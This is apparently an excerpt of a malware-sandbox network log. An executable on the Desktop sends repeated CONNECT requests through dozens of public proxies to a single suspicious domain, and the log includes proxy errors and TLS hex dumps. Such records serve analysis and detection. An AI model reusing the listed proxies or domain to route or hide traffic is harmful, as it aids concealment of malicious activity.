Mar 11, 2024 15:21:07.689930916 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 79 3b 8b 92 a7 8e d0 dd 2c 3b 41 46 95 da 7b 97 9f 05 6c 14 97 d0 43 41 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9y;,;AF{lCADOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311140021Z260311140021Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 15:21:07.830287933 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 cd 94 5d 2d 67 e7 e2 6e a5 8f 6f a2 aa a3 9e 0d b6 e0 53 b3 f1 c8 93 78 57 1d 16 d2 d5 d2 ae 02 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 19 9b f1 a2 0e 12 99 1b 9c 81 fb 78 ec a1 52 48 9b 44 df 75 91 Data Ascii: %! ]-gnoSxW(xRHDu?8!
Mar 11, 2024 15:21:08.119829893 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 92 ff 1f f5 a0 5c 1e 9c 41 24 d0 86 90 5d 93 87 7d a8 97 f1 49 b3 ee 0c ff 1c b8 85 0e b0 7a d2 7b 61 75 ab 89 c2 fb 3f Data Ascii: (\A$]}Iz{au?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1091	192.168.2.9	52186	192.252.216.81	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.089248896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1092	192.168.2.9	53558	163.172.132.238	16379	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.101490021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1093	192.168.2.9	53589	104.16.109.213	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.101613045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.256041050 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1094	192.168.2.9	53615	104.27.122.6	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.102137089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.256444931 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1095	192.168.2.9	53551	45.233.3.1	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.102329016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1096	192.168.2.9	53556	85.25.103.138	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.104300976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1097	192.168.2.9	53639	104.20.125.124	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.104827881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.259141922 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1098	192.168.2.9	53559	51.210.223.9	3000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.104830980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1099	192.168.2.9	52941	176.197.144.158	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.106054068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1100	192.168.2.9	53571	95.164.89.123	8888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.106640100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1101	192.168.2.9	53057	1.15.62.12	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.109097958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1102	192.168.2.9	53062	181.57.131.122	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.114494085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.169135094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.200656891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.200516939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:31.200197935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:33.639569998 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1103	192.168.2.9	53552	91.148.127.162	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.122142076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1104	192.168.2.9	53554	185.162.93.62	8118	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.123694897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.242000103 CET	132	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0d 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1105	192.168.2.9	53393	117.160.250.131	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.128906012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.325416088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.009385109 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1106	192.168.2.9	53673	104.238.111.107	5484	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.134504080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.637978077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.325602055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.434954882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.638046026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.825467110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.137924910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.637881041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:29.325246096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1107	192.168.2.9	53058	116.106.105.208	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.148386002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1108	192.168.2.9	51779	51.75.125.208	2736	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.150507927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.169249058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.200948000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.200623035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1109	192.168.2.9	53579	103.23.100.1	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.154345036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1110	192.168.2.9	53701	38.54.101.254	9000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.154674053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.335031986 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1111	192.168.2.9	53620	38.162.21.202	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.155329943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.570940018 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1112	192.168.2.9	51773	203.96.177.211	43839	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.198396921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1113	192.168.2.9	53666	199.102.107.145	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.198596001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1114	192.168.2.9	51968	4.144.161.159	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.203942060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.186644077 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx
Mar 11, 2024 15:21:08.192095041 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 13 53 39 2c eb 58 57 59 1c 19 2b 66 cb 56 ab e2 88 9b 9b 8d f4 b7 27 95 4b d6 38 36 d7 34 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eS9,XWY+fV'K864*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 15:21:08.525665045 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 ef 13 54 62 91 16 24 84 ae 76 22 11 ba 9b ee 88 86 1e 58 da 9b ba 69 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 cb 0b 00 10 c7 00 Data Ascii: C?eTb$v"XiDOWNGRD/#00`4ZmQ0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240212203110Z240512203109Z03110/
Mar 11, 2024 15:21:08.525681019 CET	1286	IN	Data Raw: 6d dd 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 1f 8b 40 68 93 64 2a 2d dc 07 bd 7a 5f 46 c4 ea f2 c8 d7 63 e0 4e cc 42 c7 44 46 d1 17 84 d3 1f 08 47 69 c2 b6 7f dd 9d a0 2d 9e 1b be 1f f8 19 ab ad d9 8d 7d 14 62 f3 40 cf 76 94 Data Ascii: m0H@hd-z_FcNBDFGi-}b@vwTJ;dm55inz74\|"@,+v?iS't;H%['rBuq,/aeYXhV
Mar 11, 2024 15:21:08.525782108 CET	1286	IN	Data Raw: 59 02 10 51 5c e3 c0 2b fd b7 06 48 51 7e 09 5e 3f 0f dc a7 fe 97 e7 79 c5 0e 44 89 78 c5 69 59 29 a0 9a 3a 48 36 29 a6 94 93 55 2d b8 47 b5 e9 96 b5 9f 07 cd a6 ab 3e 32 8a c0 86 83 c5 c1 41 c8 9f 2f 35 8e 0d c0 07 7a e1 ac c9 65 b5 cb 8a a7 dd Data Ascii: YQ\+HQ~^?yDxiY):H6)U-G>2A/5zeqae92>z6VWAmZ:ucitoL7(n c~+u<.rO6D#?Z]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\
